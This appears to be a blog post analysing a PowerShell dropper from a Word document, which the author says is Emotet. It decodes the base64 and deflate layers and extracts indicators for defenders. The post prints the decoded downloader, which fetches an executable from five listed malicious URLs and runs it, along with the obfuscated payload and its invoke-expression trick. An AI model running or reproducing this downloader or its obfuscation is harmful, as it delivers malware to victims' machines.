Often times malware analysis is considered complete when you run the badness in a sandboxed VM and gather the network IOCs observed. However, we can gain a better list of indicators by spending a little extra time on our analysis, as I hope this post will demonstrate as I walk through some simple PowerShell decoding.

Basic Analysis

A co-worker shared an unknown malware sample from my favorite site, Any.run, and asked if I could help him decode it and determine the malware. From the processes on Any.run we can see that a Word Document is run, followed by some PowerShell actions. We also see in the network connections PowerShell called out to 2 suspicious domains.

Any.run process list

Any.run connections list

This gives us some indicators we can run with:

  • Word Doc file hash and name
  • Two suspicious domains/IPs contacted over port 443

Just like if we ran this in our own malware analysis VM, this is about where many Analysts would stop. However, there is so much more to learn here, but for the purposes of this post let’s focus on what PowerShell is doing.

Base64 Decoding

Within Any.run clicking on PowerShell under Processes, then More Info below will show the commands being run. In this case, it’s a Base64 encoded PowerShell command.

Any.run more info

This is simple enough to decode using echo <baseb4> | base64 -d in Linux, or CyberChef (another favorite tool) as seen below, but first remove the powershell -e command to work with the raw base64. Once decoded we see that there is a period preceding the rest of the code, which is a Call Operator. This essentially runs code from another script or function.

CyberChef base64

What this Call Operator runs is an obfuscation trick to hide the command “iex”, which is an alias for Invoke-Expression.

($PsHoMe[4]+$PshOmE[30]+'X')

The trick is they sliced letters from the output of the $pshome variable, which normally outputs the full path to PowerShell, and appended an X forming the word ieX when it’s concatenated.

Deflate Memory Stream

The expression to be executed which follows contains statements about deflating a memory stream, which means the best way to handle this is to let PowerShell do the work for us. We just have to de-fang the code so it won’t actually run and infect us. You are using a lab VM with the network disabled and a snapshot already completed, aren’t you?

First, remove the period at the beginning and the ($PsHoMe[4]+$PshOmE[30]+’X’). You should be left with the following:

(nEW-obJecT Io.COmpRESSIOn.DefLAtEsTrEAm([io.MEmORYStrEam][sYSTEM.conVeRt]::FroMbAse64StrinG(('VZBda9swFIb/ii4MSshsz6thpcbQI4uGQNkwITQNg2ArJ5FiWzKOEqeE/PfJW9puuhTPeb+8HNgiA8hS+hOmHGKaeArWzPBUY++bco/Ckh9ogxcss1qhtgPgTngEKZXWtoeHMLSy0LKVxnbKyqMIhGnCvvWLTaN0eFc+h4/vZN/3wU700pgW8Q8ndsovHWa/3X9iVipdaVUFohiElBb1cYOH8On1jv1DKf22Mb2uTbEJNNpPz6iLo7/cgHVOpsXu4PzC8940xf0p3JchDeZtreyIPtJx4jUwhVUfLVNacDgDuCVyqGABJCU0+j4sA5wDZ8whz+dVlC8i9zdnAPkq9VCfHo4H7NrObFWNE/qLTm4CExrgGWmyNR0WQo685TJfGUaUJh9bji+2e7vctg/4rdSTU3rHv5Cbl8t6cqo9QJzSLMucCU1mWzIaTdH6M4vNBxnUqHdWEn+HJP7q3phcZvpkKvyPc+UZGzqnlLkwa0aT0kWtkutVFFbIy/XqzWNuYCpS2q6j3l1xmvwG')) , [iO.cOMPrESsiOn.COmpressionMoDe]::DecOMpREsS)|forEaCH{ nEW-obJecT iO.stReAMREadER( $_ , [sySteM.TexT.EncOdiNg]::ASCII) } | ForeACH{ $_.ReaDToeNd()})

If you copy the command above string and paste it into a PowerShell prompt, the deflate memory strem functions will run and you get this output (output highlighted):

PowerShell code run

Clean Up/Format Code

Again, we could stop here and pull out the clear-text URLs which can be blocked and/or hunted for in your network. However, there is still more we can pull from this code. You may already see it if you have a sharp eye, but to make the code more readable let’s replace all the semicolons with carriage return characters (\r\n). You can do this with a using regex find/replace functions found in more advanced text editors like Notepad++ or just use CyberChef. Now the code should look like this:

$QABUCAAC='OAGDA4'
$iA_BoD=new-object Net.WebClient
$iAUCAD1A='https://thanhphotrithuc.com/wp-admin/3bL/@https://www.gcwhoopee.com/cgi-bin/t28/@https://thinknik.ca/wp-includes/FY3B/@https://tinydownload.net/wp-admin/1r41/@http://tr.capers.co/xjoma8v/jb/'.Split('@')
$mAGAZw1X='aDAxAA'
$QAkAUA = '174'
$ADDADBBX='LxZ1QU1'
$SBAAQZ=$env:userprofile+'\'+$QAkAUA+'.exe'
foreach($XXQZoB in $iAUCAD1A){try{$iA_BoD.DownloadFile($XXQZoB, $SBAAQZ)
$vAUAwAA4='CCCQAk'
If ((Get-Item $SBAAQZ).length -ge 40000) {Invoke-Item $SBAAQZ
$mBBAxAA='BAD1_B'
break
}}catch{}}$S4DoAGc='p_1wBAAD'

A quick review of the code will show there are some variables set that are garbage, never used elsewhere. With Notepad++ I found if I double-click to highlight each of the variables, it will also highlight other places it is called. So any variable name that isn’t called is useless and can be removed. But you can also manually review the code and remove any variables that are junk. So let’s remove those and get to this point:

$iA_BoD=new-object Net.WebClient
$iAUCAD1A='https://thanhphotrithuc.com/wp-admin/3bL/@https://www.gcwhoopee.com/cgi-bin/t28/@https://thinknik.ca/wp-includes/FY3B/@https://tinydownload.net/wp-admin/1r41/@http://tr.capers.co/xjoma8v/jb/'.Split('@')
$QAkAUA = '174'
$SBAAQZ=$env:userprofile+'\'+$QAkAUA+'.exe'
foreach($XXQZoB in $iAUCAD1A){try{$iA_BoD.DownloadFile($XXQZoB, $SBAAQZ)
If ((Get-Item $SBAAQZ).length -ge 40000) {Invoke-Item $SBAAQZ
break
}}catch{}}

You may be able to read the code just fine from this point, however here’s a beautified version with indents to properly nest operations:

$iA_BoD=new-object Net.WebClient
$iAUCAD1A='https://thanhphotrithuc.com/wp-admin/3bL/@https://www.gcwhoopee.com/cgi-bin/t28/@https://thinknik.ca/wp-includes/FY3B/@https://tinydownload.net/wp-admin/1r41/@http://tr.capers.co/xjoma8v/jb/'.Split('@')
$QAkAUA = '174'
$SBAAQZ=$env:userprofile+'\'+$QAkAUA+'.exe'
foreach($XXQZoB in $iAUCAD1A){
    try{
        $iA_BoD.DownloadFile($XXQZoB, $SBAAQZ)
        If ((Get-Item $SBAAQZ).length -ge 40000) {
            Invoke-Item $SBAAQZ
            break
        }
    }
    catch{}
}

Now we can see a couple more things. First, the download is saved as 174.exe in the root of the user’s profile. Second, the URLs are tried one at a time until the download file size is greater than 40KB, and if not it moves to the next URL in the list.

Conclusion

So with a little bit of extra work, we’ve come up with several more IOCs that we would have otherwise missed. And in case you were wondering, this malware sample turned out to be Emotet after doing some OSINT searches for the URLs discovered.

  • C:\Users<userprofile>\174.exe
  • https://thanhphotrithuc.com/wp-admin/3bL/
  • https://www.gcwhoopee.com/cgi-bin/t28/
  • https://thinknik.ca/wp-includes/FY3B/
  • https://tinydownload.net/wp-admin/1r41/
  • http://tr.capers.co/xjoma8v/jb/